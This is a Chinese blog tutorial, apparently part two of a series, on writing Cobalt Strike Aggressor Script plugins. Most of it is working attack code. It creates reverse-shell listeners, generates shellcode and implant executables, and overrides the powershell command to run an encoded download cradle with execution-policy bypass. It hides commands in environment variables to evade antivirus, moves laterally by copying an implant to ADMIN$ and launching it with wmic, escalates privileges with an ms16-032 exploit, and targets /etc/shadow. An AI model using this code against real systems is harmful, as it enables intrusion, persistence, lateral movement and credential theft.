cobalt strike从入门到精通之插件开发(二)

cobalt strike插件开发(二)

在这里插入图片描述

更多安全文章请关注!

0x05 监听器

监听器(Listeners)是Cobalt Strike处理bot发来的信息的核心模块。

0x0501 监听器API

agscript会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners函数,只使用本地侦听器的话用&listeners_local函数,&listener_info函数可将监听器名称解析为其配置信息,demo:

command showlisteners {
    local('$name $key $value');
    foreach $name (listeners()) {
        println("== $name == ");
        foreach $key => $value (listener_info($name)) {
            println("$[20]key : $value");
        }
    }
}

0x0502 监听器创建

&listener_create函数啦。
demo:

# 新建一个foreign监听器
listener_create("msf", "windows/foreign_https/reverse_https", 
        "192.168.149.208", 443);

# 新建一个HTTP Beacon监听器
listener_create("http default2", "windows/beacon_http/reverse_http",
        "192.168.149.208", 84, 
        "192.168.149.208, 192.168.149.208");

0x0503 监听器删除

&listener_delete函数,值得注入的是需要传入一个参数,也就是监听器的名称。

listener_delete("msf");

0x0504 监听器选择

使用&openPayloadHelper会弹出一个当前可用的监听器列表供选择,使用者选完后程序会接着运行回调函数,demo:

item "&Spawn" {
    openPayloadHelper(lambda({
        binput($bids, "spawn $1");
        bspawn($bids, $1);
    }, $bids => $1));
}

0x0505 Shellcode生成

使用&shellcode为指定的侦听器名称生成shellcode

popup beacon_bottom {
	item "生成shellcode" {
		$data = shellcode("listener1", false, "x64");
		$handle = openf(">out.bin");
		writeb($handle, $data);
		closef($handle);
	}
}

shellcode函数共传入了三个参数,第一个是监听器的名称,第二个是选择是否发送给远程主机(true/false),第三个是系统的架构(x64/x86)。

0x0506 exe/dll生成

&artifact函数啦。

有四个参数需要传入:

artifact("listener1","exe",false, x64);

对比shellcode生成仅多了第二个参数,也就是生成的bot程序的类型,共七种类型可选:

类型参数描述
dllx86 DLL
dllx64x64 DLL
exewindows可执行程序啦
powershellpowershell脚本
pythonpython脚本
svcexe以服务启动的可执行文件啦
vbscriptvb脚本

0x0507 PowerShell

函数是&powershell ,用法:

println(powershell("my listener", false,x86));

和shellcode的写法一模一样,不作赘述。(本来就属于shellcode的一个子集,不知道官方为啥要独立出来写。)

0x0508 Stageless

函数&artifact_stageless,demo:

sub ready {
    local('$handle');
    $handle = openf(">out.exe");
    writeb($handle, $1);
    closef($handle);
}

artifact_stageless("my listener", "exe", "x86", "", &ready);

对比exe/dll生成多的参数是代理的信息,其他无异。

0x06 Beacon

BeaconCobalt Strike后渗透的重要功能。

0x0601 元数据处理

Cobalt Strike给每个Beacon会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons函数可查询到查询所有当前Beacon会话的元数据,beacon_info函数则是用于查询制定Beacon会话的元数据。 Demo:

command showbeacons {
    local('$entry $key $value');
    foreach $entry (beacons()) {
        println("== " . $entry['id'] . " ==");
        foreach $key => $value ($entry) {
            println("$[20]key : $value");
        }
        println();
    }
}

0x0602 Aliases

快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:

alias hello {
       blog($1, "Hello World!");
}

(其实和command函数感觉没啥差异。)

快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。

官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。

alias echo {
    blog($1, "正在输入: " . substr($1, 5));
}

beacon_command_register(
    "echo", 
    "echo text to beacon log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the beacon console");

使用上述代码注册后即可在beacon里面使用快捷命令。

0x0603 处理新Beacons会话

此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。

涉及到的函数是beacon_initial)

官方说明:

on beacon_initial {
    # do some stuff
}

这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。

这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty事件。

0x0604 右键菜单

我写一个了示例:

popup beacon_bottom {
    item "启动" {
        prompt_text("需要运行什么命令?", "net users", lambda({
            binput(@ids, "shell $1");
            bshell(@ids, $1);
        }, @ids => $1));
    }
}

右键主机就会有一个启动的选项,点击启动

让你输入想要输入的命令,然后当作beacon中的shell的参数传递进去。

0x0605 任务描述

任务计划

官方demo:

alias tasks {
    btask($1, "Surveying the target!", "T1082");
    bshell!($1, "echo Groups && whoami /groups");
    bshell!($1, "echo Processes && tasklist /v");
    bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
    bshell!($1, "echo System Info && systeminfo");
}

添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。

案例1 已有指令覆盖

Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:

alias powershell {
    local('$args $cradle $runme $cmd');

    # $0 is the entire command with no parsing.
    $args   = substr($0, 11);

    # generate the download cradle (if one exists) for an imported PowerShell script
    $cradle = beacon_host_imported_script($1);

    # encode our download cradle AND cmdlet+args we want to run
    $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

    # Build up our entire command line.
    $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";

    # task Beacon to run all of this.
    btask($1, "Tasked beacon to run: $args", "T1086");
    beacon_execute_job($1, "powershell", $cmd, 1);
}

从上到下面逐行理解:

line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon

同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:

alias shell {
    local('$args');
    $args = substr($0, 6);
    btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
    bsetenv!($1, "_", $args);
    beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

可以利用环境变量来做一些免杀吧。

案例2 横向渗透

看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-task。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。

首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:

# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
    "Synopsis: wmi-alt [target] [listener]\n\n" .
    "Generates an executable and uses wmic to run it on a target");

完整的实现代码:

beacon_command_register("wmi-task", "lateral movement with WMIC",
    "Synopsis: wmi-alt [target] [listener]\n\n" .
    "Generates an executable and uses wmic to run it on a target");

alias wmi-task {
	local('$mydata $myexe');

	# check if our listener exists
	if (listener_info($3) is $null) {
	    berror($1, "Listener $3 does not exist");
	    return;
	}

	# generate our executable artifact
	$mydata = artifact($3, "exe", true);

	# generate a random executable name
	$myexe  = int(rand() * 10000) . ".exe";

	# state what we're doing.
	btask($1, "Beacon 正在跳转到 $2 (" . listener_describe($3, $2) . ") 去获取系统中的信息", "T1047");

	# upload our executable to the target
	bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);

	# use wmic to run myexe on the target
	bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");

	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看https://www.cobaltstrike.com/aggressor-script/functions.html#bupload_raw函数的详细说明。

注意这里的主机名称要写为横向的主机名称

案例3 提权

和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

完整demo:

sub ms16_032_exploit {
    local('$script $oneliner');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

    # generate a PowerShell script to run our Beacon listener
    $script = artifact($2, "powershell");

    # host this script within this Beacon
    $oneliner = beacon_host_script($1, $script);

    # task Beacon to run this exploit with our one-liner that runs Beacon
    bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
    bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

    # handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
    bstage($1, $null, $2);
}

这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。

0x06 SSH会话

Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。

0x0601 SSH会话的性质

与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。

一个用于过滤Beacon中ssh会话的demo函数

sub ssh_sessions {
    return map({
        if (-isssh $1['id']) {
            return $1;
        }
        else {
            return $null;
        }
    }, beacons());
}

0x0602 SSH快捷命令

直接看demo:

ssh_alias dumpallhash {
    if (-isadmin $1) {
        bshell($1, " 获取/etc/shadow里面的信息");
    }
    else {
        berror($1, "没有管理员权限");
    }
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值